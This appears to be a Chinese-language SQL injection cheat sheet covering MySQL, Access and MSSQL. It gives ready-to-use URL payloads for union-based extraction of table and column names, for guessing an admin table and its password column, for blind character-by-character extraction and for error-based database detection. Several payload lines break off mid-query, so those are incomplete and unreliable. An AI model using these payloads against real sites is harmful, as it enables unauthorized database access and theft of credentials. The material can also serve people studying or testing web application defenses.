MYSQL篇
1.内置函数和变量
1 | @@datadir,version(),database(),user(),load_file(),outfile() |
2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:
1 | xxx.php?id=1 and 1=2 union select 1, |
3.使用内建数据库查询表段和字段
查表段:
1 | xxx.php?id=1 and 1=2 union select 1,2,table_name from |
查字段:
1 | xxx.php?id=1 and 1=2 union select 1,2,column_name from |
这里可以再结合下concat的拼接功能
1 | xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) |
Access篇
猜表名
1 | *.asp?id=1 and exists (select * from admin) |
猜列名
1 | *.asp?id=1 and exists (select password from admin) |
Order by查询
1 | *.asp?id=1 order by 3 |
union 查询
1 | *.asp?id=1 union select 1,password,3 from admin |
不支持union的情况
先判断内容的长度
1 | *.asp?id=132 and (select top 1 len(user) from admin) >5 |
然后一个一个猜
1 | *.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97 |
例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜
1 | *.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97 |
以此类推
MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL
1 | 'and exists (select * from sysobjects) -- |
如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。
猜表名:
1 | 'and exists(select * from admin)-- |
如果存在,会返回正常页面,否则报错,就是不存在。